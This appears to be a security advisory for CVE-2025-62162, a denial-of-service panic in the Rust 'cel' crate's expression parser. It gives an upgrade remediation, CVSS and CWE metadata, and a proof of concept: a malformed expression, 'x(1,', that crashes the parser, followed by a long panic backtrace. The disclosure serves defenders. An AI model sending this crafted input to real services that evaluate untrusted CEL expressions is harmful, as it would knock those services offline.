CVE-2025-62162

Summary

Parsing certain malformed CEL expressions can cause the parser to panic, terminating the process. When the crate is used to evaluate untrusted expressions (e.g., user-supplied input over an API), an attacker can send crafted input to trigger a denial of service (DoS).

Remediation

Upgrade to 0.11.4

[dependencies]
cel = &quot;0.11.4&quot;

PoC

use cel::{Context, Program};

fn main() {
    let program = Program::compile(&quot;x(1,&quot;).unwrap();
    let context = Context::default();
    let value = program.execute(&amp;context).unwrap();
    assert_eq!(value, true.into());
}

$ RUST_BACKTRACE=1 cargo run --bin example-simple
   Compiling num-traits v0.2.19
   Compiling aho-corasick v1.1.3
   Compiling regex-syntax v0.8.5
   Compiling arbitrary v1.4.1
   Compiling serde v1.0.219
   Compiling thiserror v1.0.69
   Compiling regex-automata v0.4.9
   Compiling chrono v0.4.41
   Compiling regex v1.11.1
   Compiling cel v0.10.0 (/home/john/git/cel-rust/cel)

warning: `cel` (lib) generated 15 warnings
   Compiling example v0.1.0 (/home/john/git/cel-rust/example)
    Finished `dev` profile [unoptimized + debuginfo] target(s) in 2.97s
     Running `target/debug/example-simple`

thread &#039;main&#039; panicked at /home/john/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/antlr4rust-0.3.0-beta3/src/tree.rs:383:9:
internal error: entered unreachable code: should have been properly implemented by generated context when reachable
stack backtrace:
   0: __rustc::rust_begin_unwind
   1: core::panicking::panic_fmt
   2: antlr4rust::tree::Visitable::accept
   3: &lt;cel::parser::gen::celparser::UnaryContextAll as antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt;&gt;::accept
   4: &lt;dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn&lt;T&gt;&gt;::accept_dyn
   5: &lt;T as antlr4rust::tree::VisitChildren&lt;Node&gt;&gt;::visit_node
   6: &lt;cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat&gt;::visit
   7: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_calc
   8: &lt;T as cel::parser::gen::celvisitor::CELVisitor&gt;::visit_calc
   9: cel::parser::gen::celparser::&lt;impl antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt; for antlr4rust::parser_rule_context::BaseParserRuleContext&lt;cel::parser::gen::celparser::CalcContextExt&gt;&gt;::accept
  10: &lt;dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn&lt;T&gt;&gt;::accept_dyn
  11: &lt;T as antlr4rust::tree::VisitChildren&lt;Node&gt;&gt;::visit_node
  12: &lt;cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat&gt;::visit
  13: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_relation
  14: &lt;T as cel::parser::gen::celvisitor::CELVisitor&gt;::visit_relation
  15: cel::parser::gen::celparser::&lt;impl antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt; for antlr4rust::parser_rule_context::BaseParserRuleContext&lt;cel::parser::gen::celparser::RelationContextExt&gt;&gt;::accept
  16: &lt;dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn&lt;T&gt;&gt;::accept_dyn
  17: &lt;T as antlr4rust::tree::VisitChildren&lt;Node&gt;&gt;::visit_node
  18: &lt;cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat&gt;::visit
  19: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_conditionalAnd
  20: &lt;T as cel::parser::gen::celvisitor::CELVisitor&gt;::visit_conditionalAnd
  21: cel::parser::gen::celparser::&lt;impl antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt; for antlr4rust::parser_rule_context::BaseParserRuleContext&lt;cel::parser::gen::celparser::ConditionalAndContextExt&gt;&gt;::accept
  22: &lt;dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn&lt;T&gt;&gt;::accept_dyn
  23: &lt;T as antlr4rust::tree::VisitChildren&lt;Node&gt;&gt;::visit_node
  24: &lt;cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat&gt;::visit
  25: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_conditionalOr
  26: &lt;T as cel::parser::gen::celvisitor::CELVisitor&gt;::visit_conditionalOr
  27: cel::parser::gen::celparser::&lt;impl antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt; for antlr4rust::parser_rule_context::BaseParserRuleContext&lt;cel::parser::gen::celparser::ConditionalOrContextExt&gt;&gt;::accept
  28: &lt;dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn&lt;T&gt;&gt;::accept_dyn
  29: &lt;T as antlr4rust::tree::VisitChildren&lt;Node&gt;&gt;::visit_node
  30: &lt;cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat&gt;::visit
  31: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_expr
  32: &lt;T as cel::parser::gen::celvisitor::CELVisitor&gt;::visit_expr
  33: cel::parser::gen::celparser::&lt;impl antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt; for antlr4rust::parser_rule_context::BaseParserRuleContext&lt;cel::parser::gen::celparser::ExprContextExt&gt;&gt;::accept
  34: &lt;dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn&lt;T&gt;&gt;::accept_dyn
  35: &lt;T as antlr4rust::tree::VisitChildren&lt;Node&gt;&gt;::visit_node
  36: &lt;cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat&gt;::visit
  37: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_GlobalCall::{{closure}}
  38: &lt;core::iter::adapters::map::Map&lt;I,F&gt; as core::iter::traits::iterator::Iterator&gt;::next
  39: alloc::vec::Vec&lt;T,A&gt;::extend_desugared
  40: &lt;alloc::vec::Vec&lt;T,A&gt; as alloc::vec::spec_extend::SpecExtend&lt;T,I&gt;&gt;::spec_extend
  41: &lt;alloc::vec::Vec&lt;T&gt; as alloc::vec::spec_from_iter_nested::SpecFromIterNested&lt;T,I&gt;&gt;::from_iter
  42: &lt;alloc::vec::Vec&lt;T&gt; as alloc::vec::spec_from_iter::SpecFromIter&lt;T,I&gt;&gt;::from_iter
  43: &lt;alloc::vec::Vec&lt;T&gt; as core::iter::traits::collect::FromIterator&lt;T&gt;&gt;::from_iter
  44: core::iter::traits::iterator::Iterator::collect
  45: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_GlobalCall
  46: &lt;T as cel::parser::gen::celvisitor::CELVisitor&gt;::visit_GlobalCall
  47: cel::parser::gen::celparser::&lt;impl antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt; for antlr4rust::parser_rule_context::BaseParserRuleContext&lt;cel::parser::gen::celparser::GlobalCallContextExt&gt;&gt;::accept
  48: &lt;cel::parser::gen::celparser::PrimaryContextAll as antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt;&gt;::accept
  49: &lt;dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn&lt;T&gt;&gt;::accept_dyn
  50: &lt;T as antlr4rust::tree::VisitChildren&lt;Node&gt;&gt;::visit_node
  51: &lt;cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat&gt;::visit
  52: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_PrimaryExpr
  53: &lt;T as cel::parser::gen::celvisitor::CELVisitor&gt;::visit_PrimaryExpr
  54: cel::parser::gen::celparser::&lt;impl antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt; for antlr4rust::parser_rule_context::BaseParserRuleContext&lt;cel::parser::gen::celparser::PrimaryExprContextExt&gt;&gt;::accept
  55: &lt;cel::parser::gen::celparser::MemberContextAll as antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt;&gt;::accept
  56: &lt;dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn&lt;T&gt;&gt;::accept_dyn
  57: &lt;T as antlr4rust::tree::VisitChildren&lt;Node&gt;&gt;::visit_node
  58: &lt;cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat&gt;::visit
  59: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_MemberExpr
  60: &lt;T as cel::parser::gen::celvisitor::CELVisitor&gt;::visit_MemberExpr
  61: cel::parser::gen::celparser::&lt;impl antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt; for antlr4rust::parser_rule_context::BaseParserRuleContext&lt;cel::parser::gen::celparser::MemberExprContextExt&gt;&gt;::accept
  62: &lt;cel::parser::gen::celparser::UnaryContextAll as antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt;&gt;::accept
  63: &lt;dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn&lt;T&gt;&gt;::accept_dyn
  64: &lt;T as antlr4rust::tree::VisitChildren&lt;Node&gt;&gt;::visit_node
  65: &lt;cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat&gt;::visit
  66: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_calc
  67: &lt;T as cel::parser::gen::celvisitor::CELVisitor&gt;::visit_calc
  68: cel::parser::gen::celparser::&lt;impl antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt; for antlr4rust::parser_rule_context::BaseParserRuleContext&lt;cel::parser::gen::celparser::CalcContextExt&gt;&gt;::accept
  69: &lt;dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn&lt;T&gt;&gt;::accept_dyn
  70: &lt;T as antlr4rust::tree::VisitChildren&lt;Node&gt;&gt;::visit_node
  71: &lt;cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat&gt;::visit
  72: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_relation
  73: &lt;T as cel::parser::gen::celvisitor::CELVisitor&gt;::visit_relation
  74: cel::parser::gen::celparser::&lt;impl antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt; for antlr4rust::parser_rule_context::BaseParserRuleContext&lt;cel::parser::gen::celparser::RelationContextExt&gt;&gt;::accept
  75: &lt;dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn&lt;T&gt;&gt;::accept_dyn
  76: &lt;T as antlr4rust::tree::VisitChildren&lt;Node&gt;&gt;::visit_node
  77: &lt;cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat&gt;::visit
  78: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_conditionalAnd
  79: &lt;T as cel::parser::gen::celvisitor::CELVisitor&gt;::visit_conditionalAnd
  80: cel::parser::gen::celparser::&lt;impl antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt; for antlr4rust::parser_rule_context::BaseParserRuleContext&lt;cel::parser::gen::celparser::ConditionalAndContextExt&gt;&gt;::accept
  81: &lt;dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn&lt;T&gt;&gt;::accept_dyn
  82: &lt;T as antlr4rust::tree::VisitChildren&lt;Node&gt;&gt;::visit_node
  83: &lt;cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat&gt;::visit
  84: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_conditionalOr
  85: &lt;T as cel::parser::gen::celvisitor::CELVisitor&gt;::visit_conditionalOr
  86: cel::parser::gen::celparser::&lt;impl antlr4rust::tree::Visitable&lt;dyn cel::parser::gen::celvisitor::CELVisitor&gt; for antlr4rust::parser_rule_context::BaseParserRuleContext&lt;cel::parser::gen::celparser::ConditionalOrContextExt&gt;&gt;::accept
  87: &lt;dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn&lt;T&gt;&gt;::accept_dyn
  88: &lt;T as antlr4rust::tree::VisitChildren&lt;Node&gt;&gt;::visit_node
  89: &lt;cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat&gt;::visit
  90: &lt;cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat&gt;::visit_expr
  91: &lt;T as cel::parser::gen::celvisitor::CELVisitor&gt;::visit_expr
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.

Impact

Users accepting untrusted CEL expressions

Published: Oct 11, 2025
Updated: Oct 11, 2025
CVE: CVE-2025-62162
GHSA: GHSA-wxwx-9fh7-5mrw
Severity: High
Exploit:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWEs:

CWE-20

Affected Software
References

Software	From	Fixed in
cel	0.10.0	0.11.4

Vulnerability Database

CVE-2025-62162

Summary

Remediation

PoC

Impact

Deep Security Visibility Without the Complexity